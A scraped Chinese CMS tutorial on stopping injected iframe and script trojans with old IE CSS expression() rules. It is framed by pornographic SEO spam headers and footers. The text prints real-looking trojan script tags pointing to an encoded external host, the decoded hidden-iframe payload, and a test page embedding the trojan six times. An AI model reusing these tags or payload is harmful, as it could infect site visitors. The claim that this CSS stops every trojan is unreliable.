亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > CMS > 織夢DEDE > 正文

如何利用二行代碼解決全部網頁木馬(含iframe/script木馬)_DedeCms教程

2024-08-30 19:09:57
字體:
來源:轉載
供稿:網友
相信大多數朋友都是iframe木馬的受害者,有朋友的網站被注入了N回iframe,心情可想而知。而且現在ARP攻擊,注入iframe也是輕而易舉的事,僅局域網里都時刻面臨威脅,哎,什么世道。


在閱讀本文之前,我們先了解一下expression;

IE5及其以后版本支持在CSS中使用expression,用來把CSS屬性和JavaScript腳本關聯起來,這里的CSS屬性可以是元素固有的屬性,也可以是自定義屬性。就是說CSS屬性后面可以是一段JavaScript表達式,CSS屬性的值等于Javascript表達式執行的結果。在表達式中可以直接引用元素自身的屬性和方法,也可以使用其他瀏覽器對象。這個表達式就好像是在這個元素的一個成員函數中一樣。

很多朋友都知道CSS可以直接描述一個可視標記的外觀。例如:p{color:red} 則網頁里 所有p標記里的文字顏色都會變成紅色;iframe不也是一個標記嗎?開始跟靈兒寫代碼吧,呵呵:
iframe{...這里寫描述外觀的CSS代碼;};

仔細想想要防止iframe里的東東被下載的最好辦法是什么?核心來了,那就是切斷iframe里的請求,切斷請求就是要迅速銷毀iframe對象。如何實現呢,上面不是介紹了expression嗎?expression是可以執行JS腳本的哈。語法格式如下二種:

標記固有的CSS屬性名:expression(JS表達式);
或 自定義屬性名:expression(JS表達式);

在這里我們選擇第二種,代碼應該大致是這樣
iframe{v:expression(JS表達式);}

接下來的問題是如何銷毀網頁里所有的iframe對象;使用JS實現的原理是這樣的:使iframe里的請求地址變成空白頁(about:blank),再將iframe對象從DOM(文檔對象模型)中移除就可以切斷所有iframe里的請求了。移除DOM節點的方法比較多,我這里就用 outerHTML這個屬性吧。CSS代碼如下:
iframe{v:expression(this.src='about:blank',this.outerHTML='');}

說明:前面的v字是靈兒自己定義的一個CSS屬性,這里的this代表所有將要描述外觀的iframe對象,中間的逗號代表二句代碼一起執行,沒有執行優先順序,這可是強有力的保證噢。about:blank代表空白頁,大家都知道的。outerHTML屬性是DOM對象包含自身的HTML代碼,而 innerHTML則是DOM對象(不含本身)里面所包含的HTML代碼。

爽快,代碼寫好了,就讓我信來測試一下有沒有效果。

首先,新建一個網頁,插入以上的CSS代碼(或在您現有的CSS代碼里加入上面那句):
<style type="text/css">
iframe{v:expression(this.src='about:blank',this.outerHTML='');}
</style>

然后在這個頁面插入幾個IFRAME代碼,假設它們是被掛的木馬網頁。代碼如下:
<iframe src="http://www.baidu.com"></iframe> 百度
<iframe src="http://www.126.com/"></iframe> 126郵箱
<iframe src=" http://www.163.com"></iframe> 網易

保存為noiframe.htm,打開瀏覽器測試一下(本地測試需要啟用頂部禁用的腳本的提示條哦)。我這里使用抓包工具來測試,不過也沒有必要使用抓包工具,一個最簡單有效的方法是打開IE的緩存文件夾,先清空它,再刷新這個頁面,看看緩存文件夾里有沒有這三個網站里的文件。如果沒有,說明沒有任何請求結果被返回——測試結果是令人滿意的,我的臉上有些微笑 ^^*,這時同事遞給我一塊餅,蠻好吃的。

提示:Windows XP SP2的緩存文件夾位置 C:/Documents and Settings/Administrator/Local Settings/Temporary Internet Files

細心的朋友發現問題來了,如果我自己的網頁里要使用iframe這個東東怎么辦?

答:如果要使自己的iframe顯示在網頁里,而別人掛的IFRAME馬都不起作用,在CSS里加一個
#f126{v:expression() !important}

對應的IFRAME代碼為:
<iframe id="f126" name="f126" src="http://www.126.com/"></iframe>
就OK了。

提示:IE7中優先執行標注有"!important"描述的樣式,IE6不認識!important,采用就近原則,所以IE6的這個代碼放在CSS的最后就可以了。

這里的f126,有很多朋友有疑問,他們問我為什么取"f126",我這樣回答——這個f126是隨意取的,只要下面的iframe里的ID屬性和CSS里的一致就行了。同事又要遞一塊餅我吃,我說飽了哈..嘻嘻..

當然掛馬者可以構造這樣的代碼
<iframe style="v:expression() !important" src="URL"></iframe>
使我的防御方式失效,不過它得特意去看我的CSS代碼里iframe里的前綴v,如果我的v是變化的呢,哈哈,是不是也不管用呢!

小結:以上的方法只是停止了iframe的請求并銷毀了它本身,但以后的掛馬方式改變了,例如改成
<script></script>
方式掛,就不能用這種方法來解決了;此這個方法不是最終的解決案,最終的解決方案是找出真正被掛IFRAME的原因,堵住源頭。這可不是我的事哈,呵~

應用實例:http://www.cncert.net 以此代碼配合MD5(hash)校驗,非常完美的防掛馬解決方案
----------------------------------------分割線-----------------------------------------------------------------

注意,以下地址含有木馬,請不要輕易訪問:
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
汗死,一連插入了N個一樣的<script>標記。偶的電腦什么補丁都打了,直接訪問這個http://%76%63%63%64%2E%63%6E(或直接使用迅雷下載),額~ 現形了:
document.write("<div style='display:none'>")
document.write("<iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0></iframe>")
document.write("</div>")
又用迅雷下載http://a.158dm.com/b1.htm這個文件,一看,亂七八糟的JS編碼,汗,不過找到了一個類似QQ號的數字,直接加加看,汗,然后是專業提供網馬的組織,哎,什么世道。還收費蠻高滴呢!
...
var Kfqq, Qqs="784378237"; qwfgsg="LLLL//XXXXXLD"; Kfqq = Qqs;
(...略)(下面還有N個統計的JS代碼)。
針對上面的情況,我也不能白白瞧著不管,想想辦法吧,兄弟。喝了碗綠豆粥,糖放得蠻多的,好喝。辦法想到了。稍微分析就得出了答案。大家來看看,<script>木馬的特點是什么:
<script src=http://%76%63%63%64%2E%63%6E></script>
對了,script木馬的src一般都是外域的,也就是src是以http打頭的,如果是自己網站的script一般都不用加上http;再看看木馬的原形,里面還是輸出的iframe、JS代碼或是其他<object>代碼,不管這么多,來多少殺多少。

來跟我寫CSS,一一搞定它們,我寫了5種不同的方案,大家來測試一下哈:

解決方案1:
iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*這行代碼是解決掛IFRAME木馬的哦*/
script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木馬被成功隔離!'):'');}
原理:將<script>標記的src拿出來轉為小寫,再看是不是以“http”開頭的外域JS腳本文件,如果是,則頁面內容清空并寫出“木馬被成功隔離!”。反之正常顯示。
    缺點:訪客無法看到被感染了<script>木馬的頁面。


解決方案2:
iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}
script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');}
原理:將外域的JS文件的document.write()使用document.close()強制關閉。木馬內容還沒有來得及寫完,只有部分被強制緩存輸出了,剩下的不會再寫了。

解決方案3:
iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');}
script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');}
 原理:同到外域的JS文件,立即調用IE私有的execCommand方法來停止頁面所有請求,所以接下來的外域JS文件也被強制停止下載了。就像我們點了瀏覽器的“停止”按鈕一樣??磥磉@是JS模擬IE停止按鈕的一種方法。

解決方案4:
iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');}
script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}
   原理:將外域的JS文件的src重寫成本地IE404錯誤頁面的地址,這樣,外域的JS代碼不會下載。

解決方案5:
iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');}
script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==0)?document.write('木馬被成功隔離!'):''));}
   第五種方案的頁面HTML源代碼<script>中要加入以"lh"為前綴的id,如 lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script> 

以下頁面代碼里含有一個木馬地址,而且木馬在頁面里重復了6次,大家分別用我上面的不同方案測試一下,看看我的研究如何?。ù藴y試有一定的危險性,請務必打好所有補丁再測試)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>讓JS木馬的進程迅速中止的CSS代碼</title>
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/* 以后請在此關注最新木馬處理方法:http://www.nihaoku.cn/ff/api.htm */
/*]]>*/
</style>
</head>
<body>
<script type="text/javascript" src="1.js"></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src="http://%76%63%63%64%2E%63%6E" type="text/javascript"></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
我是頁面本身的1
<script src=http://%76%63%63%64%2E%63%6E></script>
我是頁面本身的2
<script src=http://%76%63%63%64%2E%63%6E></script>
我是頁面本身的3
<script src=http://%76%63%63%64%2E%63%6E></script>
</body>
</html>
其中1.js是自己本站的:
document.write("我是本站的JS文件");
document.write("<img src='' />");
我的測試環境是:
  Windows XP SP2 和windows Vista SP1
IE6/IE7/IE8
已全部打好補丁。
綜上所述,所有目前的掛馬方式全都破解了,用CSS就可以解決所有木馬問題,訪客不會再輕易地中毒了。

大家也要仔細研究一下,看看我的代碼有什么BUG,有的話一定要拿出來討論,好解決問題!或是各位有其他更好的辦法可以拿出來討論一下。

很晚了,我要睡覺了。有空再研究。

更正第五個方案
上面寫到的第五個方案代碼寫錯了,

<script src="***/**.js" id="lhSearchJSapi"></script>

script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==0)?document.write('木馬被成功隔離!'):''));}

紅色字部分有錯誤,應該是!=-1,上面的正確寫法應該是:

script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==-1)?document.write('木馬被成功隔離!'):''));}
script{noj5s:expression((this.id.toLowerCase().indexOf('vok')!=-1)?document.write('木馬被成功隔離!'):''));}
[/code]<script id="tjJSapivok" title="這是你外域的統計流量的JS代碼" type="text/javascript" src="http://js.#yahoo.com.cn/1/188/205/ystat.js"></script>
<script id="otherJSapivok" title="這是你本站需要的JS文件" type="text/javascript" src="footer.js"></script& gt; [/code]script{noj5s:expression((this.id.toLowerCase().indexOf('vok')!=-1)?document.write(' 木馬被成功隔離!'):''));}

<script id="footerJSapivok" src="這里寫你本網站的JS路徑" type="text/javascript"></script>
<script id="tongjiJSapivok" src="這里外域的JS路徑" type="text/javascript"></script>

你網站的所有JS標記(<script>)都得加上id屬性,并且有一個共同的前綴、后綴或公共字符串,上面的公共字符串為“vok”。
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
国产日韩在线亚洲字幕中文| 日韩亚洲在线观看| 久久av红桃一区二区小说| 按摩亚洲人久久| 91精品国产91久久| 国产日韩精品在线观看| 成人av电影天堂| 成人性生交大片免费观看嘿嘿视频| 国产91精品视频在线观看| 久久91亚洲精品中文字幕| 日韩中文字幕在线视频播放| 欧美在线激情网| 亚洲精品国产精品乱码不99按摩| 成人av色在线观看| 亚洲精品成人久久电影| 国模gogo一区二区大胆私拍| 777国产偷窥盗摄精品视频| 精品久久久久久中文字幕一区奶水| 国产精品久久久久久久久久久久| 欧美另类在线观看| 97视频免费在线看| 日韩va亚洲va欧洲va国产| 91av视频在线观看| 久久精品电影一区二区| 亚洲国产美女精品久久久久∴| 久久精品中文字幕电影| 亚洲欧美日韩中文在线| 国产精品久久久久久久久久免费| 久久理论片午夜琪琪电影网| 亚洲最大福利网站| 亚洲xxx自由成熟| 亚洲精品久久久久久下一站| 久久久精品免费视频| 国内精品一区二区三区四区| 久久色在线播放| 国产精品视频自拍| 亚洲成人网在线| 亚洲国产日韩欧美在线动漫| 96pao国产成视频永久免费| 亚洲全黄一级网站| 日韩中文字幕在线免费观看| 久久人人97超碰精品888| 日韩福利伦理影院免费| 国产69久久精品成人看| 麻豆乱码国产一区二区三区| 97超碰蝌蚪网人人做人人爽| 亚洲视频综合网| 不卡av电影在线观看| 97色在线播放视频| 一本色道久久88综合日韩精品| 久久人人爽人人爽人人片av高请| 欧美大胆在线视频| 国产精品日本精品| 日韩在线激情视频| 成人福利在线观看| 成人免费视频在线观看超级碰| 日本欧美一二三区| 亚洲尤物视频网| 欧美日韩免费观看中文| 国产精品看片资源| 国产精品自产拍在线观看| 久久乐国产精品| 亚洲免费av网址| 国产精品999| 国产精品久久久久久久久粉嫩av| 欧美国产日韩xxxxx| 91av在线国产| 欧美大片欧美激情性色a∨久久| 久久精品视频va| 亚洲成人精品视频| 国产999在线观看| 亚洲一区二区久久久久久久| www日韩中文字幕在线看| 中文字幕欧美在线| 一区二区三区四区在线观看视频| 国产综合在线观看视频| 日韩免费不卡av| 97超碰蝌蚪网人人做人人爽| 国产精品偷伦一区二区| 亚洲欧洲日产国码av系列天堂| 亚洲乱码av中文一区二区| 色妞一区二区三区| 日韩精品视频在线免费观看| 91精品久久久久久久久久入口| 欧美性猛交丰臀xxxxx网站| 亚洲精品之草原avav久久| 国产99久久精品一区二区永久免费| 日本久久亚洲电影| 成人免费淫片视频软件| 亚洲免费视频网站| 91久久精品国产91久久性色| 久久国产精品久久精品| 亚洲视频综合网| 欧美激情精品久久久久久大尺度| 91亚洲精品久久久| 日韩欧美国产视频| 国产一区二区三区视频免费| 日韩高清有码在线| 欧美在线性爱视频| 97在线视频免费观看| 琪琪亚洲精品午夜在线| 成人午夜黄色影院| 久久人人爽人人爽爽久久| 91在线免费观看网站| 欧美日韩国产一区在线| 最近的2019中文字幕免费一页| 国产亚洲精品91在线| 国产精品夜间视频香蕉| 久久国产一区二区三区| 91精品国产91久久久久福利| 日韩成人激情在线| 国产欧美久久一区二区| 国产精品女人久久久久久| 国内成人精品一区| 日本免费久久高清视频| 欧美黑人xxxⅹ高潮交| 高清一区二区三区日本久| 亚洲二区在线播放视频| 亚洲va国产va天堂va久久| 中文字幕亚洲天堂| 亚洲国产欧美日韩精品| 亚洲国模精品一区| 国产精品一区二区3区| 亚洲男人第一网站| 中文字幕亚洲色图| 亚洲欧美国产精品va在线观看| 久久手机免费视频| 欧美成人免费va影院高清| 欧美激情视频一区二区| 国产激情999| 午夜精品福利在线观看| 亚洲成人av片| 久久久久久这里只有精品| 久久久噜久噜久久综合| 久久精品视频在线播放| 国产精品久久久久久久久粉嫩av| 国外成人性视频| 亚洲国产精品va在线看黑人动漫| 色综合导航网站| 国产欧美精品一区二区三区介绍| 国产一区二区三区直播精品电影| 亚洲乱码国产乱码精品精| 欧美电影免费观看电视剧大全| 国产午夜精品一区二区三区| 成人深夜直播免费观看| 国产精品青青在线观看爽香蕉| 性欧美暴力猛交69hd| 91精品国产九九九久久久亚洲| 亚洲成人av片在线观看| 欧美丰满少妇xxxxx| 在线成人激情视频| 亚洲另类激情图| 久久久久久69| 日韩美女主播视频| 91最新在线免费观看| 91热精品视频| 国产97在线视频| 这里只有精品视频在线| 亚洲色图第三页| 性欧美在线看片a免费观看| 久久久精品一区二区三区| 欧美性猛交xxxx免费看| 欧美做爰性生交视频| 日韩激情片免费|